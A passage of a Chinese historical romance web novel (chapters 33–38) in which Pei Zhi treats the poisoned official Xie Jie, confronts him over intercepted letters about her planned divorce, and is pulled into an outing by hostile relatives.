京城中都说谢家是第一世家,如今才知道所言非虚。谢观南与谢家大爷谢玠比起来,恐怕是提鞋都不配。
第33章 你来了
等了许久,奉戍才出来。
他面色并不好看,甚是不耐烦的样子:“大人在养病,二爷有什么事吗?”
谢观南赶紧将事说了。
奉戍原本想直接替谢玠拒绝,忽地想到了裴芷。眼前这人便是裴芷的夫君。若是看在她规规矩矩给大人疗毒的面子上,给谢观南行个方便也不是不行。
……只是为何他身边还跟着一位年轻美貌的女子?
他问:“二爷要借几匹?什么样的马?”
谢观南说是两匹母马,一匹寻常的大马。他语气恭敬,没有半点不耐烦。
奉戍虽然是武官,但官职比他高许多。况且还是谢玠的心腹,就算是朝中重臣见了都不会小觑他。
奉戍:“两匹母马是为了让府上的女眷骑的吗?”
他以为两匹母马一匹是为了裴芷,当下不满便少了许多,也愿意多问一句。
谢观南点头:“是,本来不想麻烦大人,但市面上母马少更不知道脾性如何。所以才来。”
奉戍想了想,道:“马厩里的母马是为了配种才养着的。专门骑乘的也不多。不过也能挑出两匹好的。”
“二爷且先回去。我禀过大人再使人告知二爷。”
白玉桐忽地上前一步,问:“这位大人,谢大人贵体欠安,能否让我们前去探望探望?来都来了……”
奉戍刚才就不喜她在。不过是因为瞧在谢观南面上才没发作。
见她打听谢玠,奉戍冷了脸色:“不必了,大人不喜外人在松风院走动。再说大人也不认得小姐。这位小姐就不用费心思了。”
言下之意:你又算是老几,有何资格见大人?
白玉桐一愣,面皮瞬间红了。
长这么大,她还从没有这么被当众下了面子。当下眼眶一红,差点就哭出来。
谢观南连忙将她护在身后,对奉戍道:“奉大人不要怪罪她。她是我的远房亲戚妹妹。”
奉戍见他维护的意思明显,冷笑一声,转身走了。
谢观南与白玉桐走松风院的门,她频频回头。
谢观南以为她在难过刚才奉戍的呵斥,温声安慰。
白玉桐忽然道:“听说圣上有意赐下恩旨封侯。以后谢大人便是我朝第一位承平盛世却封侯的人了。”
朝中有不成文的惯例。
无战功不封爵位。所以除非战功、救驾外,承平盛世一般极少人能被封爵。而谢玠年纪轻轻,光靠才能被皇帝赏识,又办了几件轰动天下的大案子,居然能封侯就是昭示着圣上独一无二恩宠的意思了。
谢观南听了白玉桐的话,心中不悦。
没有哪个男人愿意听见身边女人,去夸赞另一个比自己还优秀的男人。更何况一出生,谢玠与他就是一个天与一个地的区别。
从小到大总是有不长眼不会说话的,将谢玠拿出来与他比较。
这也成了谢观南一生的心结。
谢观南傲然道:“若我是嫡支,也未必不能成就今日之功。”
白玉桐一愣,心知刚才说的话说错了。
她旋即娇笑道:“是呀。观南哥哥人品与学识也是一流的。只是谢大人多了位在宫中当太妃的亲姑姑,也算不得他的真本事。”
谢观南见她小意奉承,乖巧温顺,心中十分满意。
于是,挽着白玉桐的手走了。
奉戍在暗处瞧着两人相携走了,冷哼了一声。
谢府旁支的事向来与大房没关系,但亲眼瞧见谢观南这般做派,便知道这旁支上下风气与德行已是烂到了根子上了。
……
深夜,裴芷再次被“请”到了松风院。
第一次是被绑着去的,惊惧之下不敢多瞧,处理完谢玠的伤势就抹黑匆匆走了。而这次,她则是由奉戍亲自领着,乔装打扮,七绕八拐到了松风院中。
二房所住之府邸与谢府大房府邸基本上不相连。唯一相连的是绕过清心苑后花园,越过假山树林,再从边角门再到松风院后门再过几道落了锁的门,才能到谢玠的寝居。
这一路上理应见到守门的下人,所以少不得让下人开了陈年的门锁,然后盘问一番。
但裴芷发现,路上无人。
本该荒芜落锁的地方也角门大开,路上整洁干净。应该是白日里让人特地清理打扫过。
奉戍在前面领路,裴芷提着药箱默默跟随。
奉戍走了小半刻,惊觉自己走得快了些,一回头发现裴芷努力跟着。
他等裴芷走到近前,道:“二少夫人提不动可以唤我提。”
药箱沉重,再少东西都起码有七八斤。
这一路行来,裴芷没喊累,这让奉戍心下多少生了点好感。
裴芷擦了擦脸上的汗,低着头:“不用。奉戍大人赶紧些。我怕大爷的伤情有变。”
奉戍抿了抿唇,终究没吭声。
走了小半个时辰,终于到了谢玠寝居。四周寂静,只有廊下几盏精致古朴的宫灯点着,将冷清的园子照得素净又寂寥。
奉戍低声说着今日白天谢玠的伤情:“……大人睡了三个时辰,醒来时伤口并未渗血,也未发热咳血……”
“按着昨夜二少夫人的医嘱,只给大人喝了祛内热的汤药,并没有进食。”
裴芷一边走一边听着。
到了寝屋,奉戍放缓脚步,上前通报了一声就推开了门。
随着门“咯吱”一声,裴芷提着药箱的手不禁捏得青白。她站在门边,静静等着。
终于,里面传来低沉淳厚的声音:“进来吧。”
一颗心似乎跟着静了下来了,夜风似乎随着这声音卷了进来。裴芷低头对着里面福了一福,然后跨进了门内。
谢玠的寝屋很大。
当面是一面墨玉镶的屏风,一整块半人高的墨玉裁成三大片,依次镶在黑檀木上。墨玉中有别的杂玉,看久了觉得这三面屏风是狂人泼了一团墨做的画。
绕过屏风,两边是两个本朝定州官窑出的美人瓶。瓶中插着数枝白梅,清香扑鼻,冲淡了房中药味。
房中两侧一面是及屋顶的多宝格,格上放着十数枚的稀世珍宝,右侧则是一半书墙,一半做了书案。
屋中木架上放了一盆清水,旁边备了洗手的胰子,干净的手巾。
香炉中燃着令人沉静的香。
香雾从鎏金的兽口中吐了出来,香气清幽,在床榻上坐着一道如山沉重般的玄色长袍身影。
那身影正靠在软榻上,垂着眸看着手中的朱红册子。
他的手指修长秀美,随意搭在朱红书册面上,越发如玉啄似的好看。
披着一袭雀金裘做成的披风,鸦色的长发随意披在肩头,旁边是一位低眉顺眼默默为他梳头的小丫鬟。
丫鬟的面目瞧不清楚,只觉得在屋中任由哪样都不起眼,唯有那张玉面容色如稀世奇珍般泛出珠光宝华般的光彩。
谢玠听到声响,缓缓抬起头,漆黑的眼瞳朝着裴芷看了过来。
“你来了。”
第34章 三封信被他截了
他的声音清亮,一如既往清冷至极却也好听至极,像是在耳边击了玉器似的。余音缭绕,心魄俱震。
裴芷垂着眸,低声问:“大爷今日觉得如何?”
屋中寂静无声,只有烛火静静燃烧。
“尚好。”谢玠嗓音没什么起伏,仿佛昨夜被毒折磨得面色青白,吐血的人不是他。
“你药方写出来了?”
裴芷捏紧了药箱,垂首道:“写出来了。”
谢玠:“那拿出来吧。”
裴芷深吸一口气:“妾身写了一共五副药方。每一副方子必须吃上五日。今夜先用第一副药方。”
谢玠定定瞧着她好一会儿,忽地轻嗤一声,手中的册子不轻不重丢在了书案上。
“你倒是好大的胆子。”
裴芷肩头一颤,更深低下了头。
谢玠垂眸看着面前强装镇定的女人。
今日她穿一件很朴素的青黛色长衣,下身是黑青色的粗布长裙,头上包着一条藏青色头巾,遮住了过分顺滑的头发。
这身打扮太素了。如果只是普通妇人这样穿,会泯然在人海里。
可裴芷太白,腰身太纤细,气质十分雅致端庄。这一身在她身上,像是用一块粗布托了一块美玉。
遮掩了一番却做了无用功,依旧让人一眼惊艳。
“你怎么不敢抬头?”他冷冷问:“心虚还是害怕?”
裴芷张了张口,找到自己的声音:“妾身并未做错什么事,为何要心虚害怕?还请大爷赐教。”
她声音细细的,柔柔的,明明听着很倔强,却像是猫儿在不满朝着他叫了两声。
没有威胁,反而有趣。
谢玠薄唇微勾,玉色的手指慵懒抬了抬:“桌上有三封信。你看完再与我说话。”
裴芷茫然抬起头来,果然桌上静静躺着三封极眼熟的信。
只一眼,她面色剧变。
这是她两日前让兰心送出谢府的信。
一封是送去给老家外祖母,裴老夫人,信里细说自己要和离之事;一封送去给当朝大理寺卿,父亲生前至交好友陈怀瑾陈大人。让他看在故友旧交上,到时候帮自己主持公道。
第二封最重要,因为事关她能否顺利和离。
最后一封送去的是远在瓜州行商的表六叔,让他帮忙盘下一座小院。她欲投奔而去,打算定居瓜州。
瓜州来往行商者众多,南来北往人们聚集在一起,风气开放,女子开店行商也不足为奇。想来她若是开一家女子医馆,也能安稳度日。
她记得让兰心拿了银子将三封信都寄出去了。没想到竟然被谢玠派人拦了下来。
一想到所作所为都在谢玠眼皮子底下,那种恐惧感就如被一只冰冷的手抓住了,寒意几乎将她冻僵。
难怪那么多人对谢玠毁誉参半,原来他是这么一个雷霆手段的男人。
脑中无数念头飞闪而过,乱哄哄地抓不住半点。
裴芷忽地道:“大爷有闲心探他人隐私,想必伤是大好了。既然大好了也不需要用到妾身的药。”
“妾身就告辞了。”
说罢,她福了福,提着药箱转身就走,竟不再往背后看一眼。
奉戍见裴芷扭头就要走,愣住:“二少夫人,你……”
裴芷没看他,径直走了出去。
奉戍急了,想去拦又不知道里面出了什么事,只能去看谢玠。
谢玠看着裴芷冷傲的背影,眉梢微微挑起。
“里面写了什么我并没有看。不过隐约听说你想与谢观南和离。想必这三封信为的就是和离一事。”
裴芷脚步一顿,但只是停了一瞬就继续往外走去。
谢玠眸色更深了。这女人……
“你要和离,我可以帮你。”
身后传来沉郁冰冷的嗓音,不轻不重,但却清晰地传了过来。
脚步在跨出门槛时僵住,裴芷缓缓回身。
谢玠坐在床榻上,一双修长的大长腿随意撑着袍子。深邃的眼沉沉看着她。
他五官很秾丽,但因为周身气场太过冰冷而被人忽略了,只觉得此人邪魅狷狂,让人心底生出害怕来。
裴芷瞧不清谢玠神情,只是被他盯着十分不适,活像是一只被野狼盯住的羔羊。随时随地都会被利刃撕成碎片。
她叹气:“大爷当真没看?”
谢玠面无表情:“我不需要看,就知道你为了何事写信。”
奉戍上前,叹气:“二少夫人,大人这么做是为了防止身中剧毒被人知道。并不想做别的。”
裴芷慢慢回身走到了谢玠面前,沉默打开药箱,拿出一张药方放在桌上。
“这药方可解第一层毒药。看毒发症状应该是书上写的‘蓝叶’。”
“蓝叶之毒见血泛蓝,味甜腻。当日大爷的毒血中血腥味中有甜腻的香味,应该是这味毒药。”
奉戍面色肃然:“二少夫人说得对,当日箭刃上的确是泛蓝。”
裴芷:“大爷只是浅层皮肉中毒。这毒药会让人剧痛,乃至昏迷。”
她瞧了谢玠一眼,难得多说了一句:“大爷内力深厚,并没有昏迷。应该一中毒就自行逼出大部分毒素。”
“按着这药方三碗水煎成一碗,一日两次。次日递减,第三日之后一日一次,驱余毒。”
谢玠拿了药方扫了一眼,递给奉戍。
奉戍急忙拿了药方下去找人煎药。
裴芷等奉戍下去,对谢玠道:“大爷的伤处让我瞧瞧。”
说完,她觉得哪儿不妥。
一抬头,发现谢玠已经脱下披风,开始解身上的长袍。他里面着一件雪白中衣。白衣盛雪,将他面色衬得如同美玉似的。
中衣落下,露出肌肉匀称的胸膛。裴芷脸一热,悄悄别开脸去。
等了一会儿,谢玠嗓音清冷,带着不耐:“不是要瞧伤吗?”
裴芷这才回头。她不敢随意往谢玠身上瞧,低着头行到了他面前,尽量不往他身上看去,只专注他腰腹的伤。
谢玠垂眸,看着面前的裴芷脸又烧红了。
“你医术师从何人?”
裴芷正解开绷带,听了这话随意道:“小时候看的书杂,正好捡到了书屋的一本就看入迷了……”
她轻声说着自己如何自学成材,又因缘巧合遇到一位江湖游医。她的声音很轻柔,娓娓道来,也不过分夸赞自己,好似在说着小故事。
谢玠垂眸听着,面上依旧神情淡漠,但却没出声打断。
等说完,裴芷才惊觉谢玠竟然一言不发全部听着。
她低声道:“妾身话多,大爷莫怪。”
第35章 大爷不要任性
谢玠淡淡“嗯”了一声:“你自学成材,倒是不容易。”
裴芷没接这话,但心情是极复杂极震惊。
谢观南从不耐烦听她说话。他只需要她是诸事都说“好”的应声虫。要么就是劈头盖脸一顿训斥,也不管她如何争辩,一概不听,气冲冲走了。
久而久之,她就以为所有的男子都是这样。
这世上唯一能听自己说话的男人,只有父亲裴济舟,但就算是亲父,也只是闲暇时偶尔听她闲话两句罢了。父亲一死,这世上再也没有愿意听她说废话的男人了。
可没想到,位高权重的谢玠竟然不嫌她烦。
裴芷为谢玠重新上了药粉,又仔细将绷带缠上。
有了上次的经验,裴芷深吸一口气。人靠了过去,双手往谢玠身后环绕,接到一头绷带时快速往前缠绕一圈。
绕了一圈,没碰到男人的胸膛。
她轻轻舒了一口气。
鼻间有男人身上滚烫的体温,轻轻地擦过。还有一股极清爽好闻的松柏香气,似乎是从他身上散发出来的,又隐约像是他呼吸带出来的。
裴芷不敢看他,低头仔细缠绕绷带。
谢玠垂眸,居高临下,能看见裴芷形状美好的眼窝,还有挺翘精致的鼻梁。还有时不时颤动的眼睫。
裴芷的眼睫很浓密,烛光下上下忽闪,好似蝴蝶的翅膀。
裴氏双姝果然是美的。
光一对眼睫,就能让男人生出诸多遐想。如果她真存了那等坏心思的女人,卖弄了色相,恐怕这个世上没有几个男人能抵挡住。
幸好,此女非常乖,乖得有点过于木讷了。
裴芷缠好绷带,轻舒一口气:“大爷,包扎好了。”
她抬头,猛地脸红。
四目相对,她瞧见了谢玠幽深的眉眼正静静盯着自己瞧。他眼神太深沉复杂,压迫感又太强,不知在想什么。总之,觉得很危险。
裴芷起身,往后退了一步,小声道:“大爷感觉如何?”
谢玠慢慢穿上中衣,又披上了薄披风,恹恹道:“还行。”
裴芷在旁边呆呆站着,不明白“还行”两个字是什么意思。
正巧这个时候奉戍拿了熬好的药匆匆进来。裴芷见事已完了,细声询问自己能否回去。
奉戍去看谢玠。
谢玠面上没什么表情,只是垂眸看着面前热气腾腾的药,也不知在想什么。
屋里的气氛又僵了。
谢玠不开口,无人敢出声。
终于,谢玠修长的指尖点了点那碗黑漆漆的药汤,奉戍了然,上前拿起药碗就要喝第一口。
“且慢。”
谢玠撩眼看向裴芷,冷冷道:“你来。”
裴芷一愣,等明白过来后脸慢慢涨红。
刚才产生的那点好感顷刻间烟消云散。她上前端起药碗,勺了一口喝了。苦涩的药入腹,苦得眼泪都要流出来。
“大爷可以安心用药了。”
她放下药碗,眼梢红红的。
谢玠没什么表情,只是定定瞧着她的脸:“替我试药,你很不高兴?”
裴芷垂眸不语。
谢玠拿过药碗,看着她刚才用过的勺子。也不嫌弃,用着银勺,一勺一勺慢慢喝完一碗药汤。
裴芷看着脸又红了。
刚才的怒气又被乱七八糟的想法给冲散了。总之,谢玠随意间就能挑动她的情绪,一会儿好一会坏,一会觉得此人不算无可救药,一会又觉得此人真是古怪的紧。
用完药,奉戍将药碗拿下。
裴芷想离开又不敢提,捏着手指捏得发了红想着措辞。
“大爷,我……”她极艰难张了口,“夜深了……”
谢玠撩眼,冷冷道:“我还没让你走。”
裴芷抿紧唇,噤了声。
屋子里又陷入一团死寂中。
谢玠不让她走,自己也不歇息。他捡起那红册子就着烛光看了起来。
裴芷枯站了一会儿,垂着眼静静想着心思。
“这三封信明日让奉戍替你送了。”
清冷的嗓音在屋中响起,显得有些突兀。
裴芷半天才恍然明白是谢玠在与她说话。她小声道了谢后,也不知道该说什么才好。
又站了好一会儿,腿开始酸麻了。裴芷看向谢玠,只见他不知什么时候换了一本书,就着烛火静静看着书。
裴芷心中是诧异的。
明明他中了那么深的毒,受了重伤,还秉烛夜读。这份勤勉读书倒不是做样子出来的。
谢玠看着书,裴芷也不好动弹,只能悄悄轮换脚站着只求他赶紧让她回去。
“添茶。”
清冷的嗓音传来。裴芷看去,谢玠面前有一盏饮完了的空茶盏。
那双幽深沉冷的眸子看着她,没有半点戏谑为难,只有冷迫的威势。
裴芷应了一声,轻移莲步将茶盏收到手中。
可接下来要去哪儿添茶?
她僵在屏风处,想了半天,垂着肩出去寻奉戍。还好奉戍是一直在外面候着的。见裴芷出来,还以为她要回去了,上前询问。
裴芷将谢玠的吩咐说了,然后将心中的疑问问了出来:“松风院没有值夜的丫鬟吗?”
奉戍摇头:“没有。大人从来不愿意旁人伺候。一应事都是大人自己打理。我只是端个水什么的。”
裴芷心中奇怪,但不好多问。
奉戍将她引到了小厨房。几口灶上都是热水。
裴芷找了茶鼎,又在小厨房找到了茶叶罐子。也不知道谢玠平日喝茶是怎么样的,就按着自己平时喝茶的习惯烧了一壶热茶,端了过去。
谢玠还在看书,只是换了个姿势,随意靠在软枕上。烛火明亮,将他本就极白的面色映出一抹红来。
当真是被圣上赞过的“姿容俊美”“鹤骨松姿”的男人。只是随意歪着,便是一幅绝美的画。
裴芷却看出他身上药效开始起了作用。她将茶盏放到谢玠面前,低声提醒:“茶能消解药效,不宜多饮。”
谢玠正要拿茶盏,闻言看了她一眼,慢慢地放了下来。
裴芷说完这话心里隐约有些后悔。不应该在泡了一盏茶后再告诉他不宜用茶,而是应该一开始就告诫。
想了想,裴芷拿了茶盏,道:“妾身下去给大爷煮一碗补气血的汤。”
谢玠没看她,但也没吭声。
裴芷拿着茶盏便有些不知所措,也不知道该去做汤,还是就放下来。
终于,他似乎不耐烦她呆呆站在旁边,冷冷道:“还不去做?”
裴芷得了命,抱着茶盏又出了门。
过了一会儿,她端着一碗热气腾腾的汤放在谢玠面前。
“大爷请慢用。”
谢玠放下书,看了一眼面前的汤。
他微微挑起剑眉,语气十分怪异:“红枣鸡蛋羹?”
这汤一般是妇人喝的。里面还有枸杞,都是他十分讨厌的东西。
裴芷点头:“大人喝了药,毒已经开始解了。正是及时补气血的时候。”
谢玠冷了眸色:“不喝,端下去。”
裴芷却没有动弹,静静看着他,很是认真道:“大爷,不要任性。”
第36章 大人,输了?
谢玠:“……”
守在外面正准备进来的奉戍脚底打个踉跄,差点摔跤。
裴芷一板一眼道:“大爷是病人,理应听大夫的话。”
“别的事我自然不会拘着大爷,但大爷前几日失血太多了。还是喝点。”
谢玠冷嗤一声,看向奉戍:“把她送回去。呱噪。”
奉戍:“……”
裴芷这时候突然犯了倔强。
她抿紧了唇,拿起汤碗再次奉到了谢玠面前:“大爷喝了我再走。”
谢玠缓缓挑眉,盯着裴芷。
屋中的气氛一下子冷凝到了极点。
裴芷一眨不眨与他对视,手中的汤碗稳稳的。
两人像是同时犯了倔脾气的羊,脸对脸,眼对眼似地对峙着。
谢玠盯着裴芷,一双眸子冷冰冰盯着她那张故意板起来的脸。
烛火摇曳,昏黄的烛光洒在她过分素白的脸上。照得她一双深幽的明眸亮晶晶的,好似盛了一汪清泉。
这汪清泉太过澄净,他找不到半点害怕与退缩。
奉戍在旁边,额上冒出了冷汗。他还从未见过有人能违逆了大人,还能全须全尾退出去。
真是生怕下一刻要血溅五步。
终于,谢玠冷哼一声,一眨不眨盯着裴芷,当着她的面拿起汤碗慢慢喝了起来。
奉戍愣住,不敢置信看着眼前场景,眉心直跳,还以为自己眼花了。
大人,输了?
一碗甜丝丝的汤喝完,谢玠放下手中的碗,冷笑:“可以了吗?裴大夫?!”
后面三个字带着冷冷的讥讽。
裴芷好似没听出来,点了点头:“可以了。大爷今夜能好好安寝了。”
谢玠摆了摆手,再也不看她。
奉戍立刻道:“我送二少夫人回去。”
裴芷对着谢玠福了福,提了药箱走了出去。
路上,奉戍忍不住问:“二少夫人不怕大人吗?”
“怕。”裴芷道,“不过他是伤患,应该听大夫的话。”
她说得理所当然,好像天亮了就能出太阳似的轻松。
奉戍:“……”
半天,奉戍忍不住说:“我还没见过有人能劝大人吃他不乐意吃的东西呢。”
裴芷摇头:“药那么苦,他难道就乐意吃了?”
“皇上的差使那么难,难道他就乐意豁出性命办了?大爷走到今日,所遇的千难万难都是常人难以想象的。一碗不乐意吃的红枣鸡蛋羹又算什么呢?”
“他若是今夜因为一碗汤就把我杀了,那才真不是他呢。”
奉戍听得出神。
他想起这些年随着谢玠经历过凶险与难题,只觉得前面安安静静走着的小女人竟然有不输给男子的大智慧。
又听裴芷轻声叹道。
“人生在世,哪有事事如意的呢?总是要做一些自己不乐意做的事,吃点自己本不想吃的苦头,才知道什么才是自己想要的。”
奉戍沉默。
总觉得裴芷说的这些话,像是在说大人,又像是在说她自个。
想再问,裴芷已经停住脚步。
月下微光中,她素白的面上笑容温柔:“奉戍大人留步吧。小佛堂快到了。”
……
裴芷三更天时到了小佛堂。房中梅心与兰心睡得很熟。她闻了闻,最后在灯芯上找到了缘由。
原来烧的灯油中被下了安神香。
安神香用料极好,能让人昏沉睡着一整夜,但不会对人造成损伤。
她心里叹了口气,将灯油全倒在屋外水沟中,然后摸着黑进屋褪了衣衫上床睡着了。
第二日一早醒来。
梅心伺候她洗漱,奇怪道:“这两日怎么睡得这么熟,是不是白日太累了?”
兰心端了盆水进来:“是啊,今日整整迟了一个时辰呢。”
裴芷道:“一定是累了。我今日也是睡迟了。”
两丫鬟伺候裴芷梳洗更衣,又用了早膳才各自忙碌起来。
裴芷又写了一份解毒药方。已经给了谢玠第一份,第二份最迟三天就要给出去。
她拿不定谢玠心里想的是什么意思。但瞧着昨晚谢玠愿意喝她配的药,又喝了她做的汤,也没多为难。
那她的小命算是勉强保住了。
梅心与兰心正在后院捡药材。在佛堂这几日过得虽然清苦,但两个丫鬟显然快活自在许多。
再说制药丸可以得银子。她们十分乐意多做点。
正忙碌着,青书来了。
裴芷并不想见青书。因为他是谢观南身边的贴身小厮,肯定是带他的口信。
从前是想见一面都难,但自从有了和离的念头,是见一面都嫌累。
青书道:“少夫人,二爷说让少夫人回清心苑。”
裴芷微微蹙眉,面上并没有欢喜。
她不乐意回去了。
青书见她犹豫,赶紧劝道:“二爷说了,清心苑没人管着,下人偷懒。昨儿二爷喝酒回去,连口醒酒汤都没备着,还着了凉。今天身子不太爽了。”
裴芷沉默,只是摆弄书案上抄了一半的经文。玉色的手指捏着灰青色的笔杆,自有一股古朴的风雅。
她道:“二爷生病了没叫大夫吗?”
青书一愣,心中诧异。
不是,少夫人不应该是很关心询问二爷现在到底如何了?
青书支支吾吾,裴芷见他的神色便知他在撒谎。
她面色冷了几分,便不再说话。
青书见她不说话,心中忐忑,但他是带了命令来的,只能继续劝。
“二爷心中是在乎少夫人的,先前都是置气。这些日子二爷时常在小的面前说起少夫人的好……”
如此劝了大半天,裴芷面上依旧没什么表情。
既不说回去,也不说不回去。
青书劝得口干舌燥,渐渐地火气也上来了。
他心中恼怒,从前一个劲扒着二爷,对自己也是和颜悦色的。怎么两人吵架置气,受气的竟是自己这夹心受气包。
青书阴阳怪气道:“既然二少夫人不愿去见二爷,那小的就回去禀明了。二少夫人可不要怪我。”
裴芷看了他一眼,道:“我怪你什么?”
青书被问住,想再说几句,但又想到了主仆有别便忍耐下来。
他匆匆走了。
兰心正巧拿了药材进来,啐了一口:“什么人啊!从前少夫人对他那么好,逢年过节给红封,还给他老娘看了病。忘恩负义的奴才!”
裴芷摇了摇头:“别说了。他是好心好意来劝我,只是我不领情罢了。”
她心如明镜。整个谢府瞧她不起的人大有人在,除了清心苑外,连洒扫的粗使奴仆都知她母家没权势,软弱可欺。平日要办点什么事,那些人故意刁难也是常有的事。
青书平日在谢观南身边待久了,心气难免高了些。
刚才苦苦相劝,已经是仁至义尽了。后来劝不动就说两句酸话发泄发泄,也是人之常情。
她并不会因此而责怪青书不感恩图报。
梅心哼了一声:“现在知道急了。有的是他们后悔的时候。”
裴芷摇头笑了笑。
自顾自整理这些天写下的一些药方。
主仆三人正说着话,小佛堂外传来白玉桐银铃般的笑声:“裴姐姐,我又来了。今日天气晴好,我们去郊游骑马吧。”
第37章 又来了又来了
裴芷蹙起眉来。
梅心跑去要关佛堂大门,嘴里气得嘟囔道:“又来了,又来了,晦气死了!”
她刚关上,门就被砰砰敲响。
谢观云在外面嚷嚷:“大白天的怎么的关门?莫不是在里面偷偷干见不得人的勾当?”
“开门!再不开门就让人砸了你这破门。”
白玉桐在外面劝着,实则在添油加火。
“观云妹妹别这样。裴姐姐对我心里有怨,不想见我也是人之常情。我再敲一敲,赔个不是,说不定裴姐姐就开了门呢。”
谢观云大声嚷嚷:“玉桐姐姐你怕她做什么?她这种又穷又装模作样的女人,哪里能比得上你一根手指头?你不用给她脸面。”
白玉桐:“观云妹妹,她可是你的大嫂,你不要这样说。”
“哼!我哥的继室而已。”谢观云满是不屑,“要不是恒哥儿没人照顾,我哥才瞧不上她呢。”
“她只不过是我哥娶回来照顾恒哥儿的样子货罢了。阖府都知道的……”
门打开,梅心手里端的一盆水泼了出去,骂道:“一早的谁啊?!这是佛堂,再满口喷粪小心我找佛主告状!”
水泼到了谢观云脚下,在她簇新的青绿色裙琚上溅了几点泥点子。
谢观云向来是个跋扈的,看见泼自己的竟然是一个小丫鬟。
她冷了脸喝道:“来人,把她抓去打死!”
裴芷上前将梅心护在身后,皱眉:“三姑娘怎么来佛堂?”
平日谢观云从不来这里。这里偏僻又没什么好玩的,今日却和白玉桐一起来了。
还在小佛堂门口大放厥词,好像是商量好故意的。
从前谢观云再跋扈,也不曾说得那么难听。
今天故意说得那么难听,要么就是从前心里就是这么想的,要么就是故意激怒她。
谢观云用帕子擦着裙琚上的泥点,怒道:“谁乐意来这个鬼地方?要不是怕你又欺负了玉桐姐姐,我何必跟过来?”
她说完,拿手指凌空点了点梅心:“你等着瞧,臭丫头!”
裴芷问白玉桐:“白小姐为何又来?”
白玉桐笑颜晏晏:“今日晴好,观南哥哥想让裴姐姐随着我们一起去骑马踏青呢。”
裴芷不动声色收回手:“我不会骑马,二爷也应该不会唤我出去玩。”
成亲三年,不要说游玩了,平日出门逛街对裴芷来说都屈指可数。
谢观南也从未有过此类念头,所以白玉桐一定在撒谎,只是不知道目的是什么。
谢观云皱眉:“小裴氏,你怎么如此不知好歹?玉桐姐姐好心邀你出去玩,你不领情就算了,你还怀疑她?”
裴芷看了她一眼。谢观云见她眼底寒意摄人,瞬时心虚噤声。
白玉桐见裴芷不愿出门,委屈道:“裴姐姐,你不肯跟我们一起出去踏青,难道是还在怪我?”
裴芷摇头:“白小姐你走吧。我与你不同路的人,说不到一起,玩也是不到一起的。”
白玉桐皱起秀眉。
面前的裴芷令她觉得棘手。
这人看着软弱,但实则内心坚硬得很。吃过一趟亏后就不愿意做表面功夫了。这下怎么办才好?
白玉桐瞧了一眼谢观云。
谢观云突然一把拉住裴芷的手腕,道:“走吧,我哥已经等得不耐烦了!”
裴芷没料到谢观云竟然动手抓她,一时挣脱不得被她拉着就走了。
梅心与兰心怕裴芷吃亏,赶紧放下手中的东西跟了过去。
裴芷被谢观云半推半扯,一路出了谢府。
她向来不喜欢与人争执,谢观云就是吃准了这点,一路拉拉扯扯她到了大门口。
大门前,谢观南一身天水青骑马长衫。他身量高,肤色白皙,很是素净儒雅的感觉。
他瞧见裴芷来了,不由皱眉:“你怎么来了?”
裴芷看了一眼谢观云,淡淡道:“二爷问问小妹,她非要我出来。”
谢观南看向谢观云,还没问出口。
白玉桐就柔柔插了话:“观南哥哥,是我的主意。裴姐姐在小佛堂很是清冷凄苦,我不忍心撇下她与观南哥哥出去游玩。”
“要么就一起,要么,观南哥哥带着裴姐姐出去散散心吧。”
她说着,很是情真意切地握住裴芷的手:“裴姐姐,我真是一心为了你与观南哥哥的。你千万不要怪罪我多管闲事。”
谢观南看了一眼裴芷,摇头:“玉桐妹妹,你就是心肠太软了。你这样会吃亏的。”
“裴芷,”他指了指后面的马车,“你不会骑马,就坐后面的马车吧。”
裴芷摇头:“二爷还是带着白小姐一起出去玩吧。我还得回佛堂诵经抄经。”
谢观南心下一阵诧异。
裴芷竟然在大庭广众驳了他的面子。从前她再不高兴也会在外面给他留足面子,从不会如此大胆。
想着,他冷冷一笑。
“既然都出来了,就不要装作不喜欢出去游玩。这般违心,倒叫人瞧不起。”
裴芷看了他一眼,垂下眼帘。
与他在这个节骨眼上争辩,只会让人看了笑话。
她由梅心扶着上了马车,兰心坐在车边。
谢观南见她上了马车,心里长舒一口气。
女人嘛,总是口是心非。明明心里想极了要与他和好,但就是嘴硬,拉不下面子来。
今日出门带她出去游玩一圈,一准回来准是能像从前一般与他和好如初。
想着,谢观南面上浮现笑意,对白玉桐道:“还是玉桐妹妹想得周到。不然那小裴氏还是与我闹别扭,实在是令人心烦。”
白玉桐抿嘴娇笑:“观南哥哥,我这可是都为了你好。要是与裴姐姐和好了,你可要重重奖赏我才是。”
谢观南含笑:“那是自然的。”
谢观云见他们两人态度亲密,心中高兴,道:“我就说了,那小裴氏就是招人烦。惺惺作态罢了,拉她出来玩,她不定心里怎么高兴呢。”
“玉桐姐姐心眼就是太好了,平白给了那人脸面。”
说着,她不屑看了一眼后面安静的马车。
马车里裴芷整理着被拉扯出褶皱的衣衫,神情十分平静。
梅心听着外面的话,气道:“少夫人,你看观云小姐怎么编排你的?还有那白家小姐简直是居心不良!”
“少夫人都不愿出来,她们非要拉扯出来。指不定出了城又要怎么作弄你呢。”
裴芷摇头:“总之出城后我们小心些,熬过这一日就好了。”
梅心实在是忍不住:“少夫人,我们什么时候能离开谢府?”
第38章 正有此意
在小佛堂过了几日清净日子后,梅心越发觉得谢府待不下去了。
从前还以为跟着裴芷忍一忍,将来做了主母一切就好了。可现在发现谢府上下就没有人将裴芷当一回事,既无尊重也无公道。
做主人的尚且被人如此轻视侮辱,她一个做丫鬟的还有什么出路?
还不如跟着裴芷大闹一场,赶紧出了这个吃人的魔窟,出去过几日清净且自由的生活。
裴芷看了一眼梅心,安慰:“很快了。”
她估摸着,在佛堂抄经的日子不会太久了。
等出来后,顺势可以正式提和离了。那时候谢观南就算不乐意,只要她态度坚决应该可以出去。
她裴芷虽说一向脾气好,但若是认准的事,鲜少没做成的。
……
谢观南一行人出了城往郊区而去。
彼时已是四月初春,连着半月阴雨连绵把人都憋坏了。所以这日天气晴好,出来游春的人不少。
到了郊区,河堤上不少人在纵马驰骋,还有不少达官贵人搭起凉棚,在棚下吃瓜果饮酒作乐。
谢府下人早早选了块风景不错,地势平坦的河堤上搭起了凉棚。凉棚里摆了各种瓜果、果子酒水,还有蜜饯和糕点。
裴芷由梅心扶着下了马车,走了进去。
谢观南正与白玉桐说话,见她进来后,冷淡睨了她一眼并没搭理。
白玉桐似笑非笑瞧了一眼裴芷。她今日就是让裴芷没脸的,只看她能忍到什么时候去。
在凉棚下坐了一会儿,下人前来禀了马送来了。
谢观云高兴拍手,闹着要去骑马。
谢观南领着两人出去看马,经过裴芷时他看了一眼,往前走了几步又回头。
道:“你不会骑马,在这里歇着就好。”
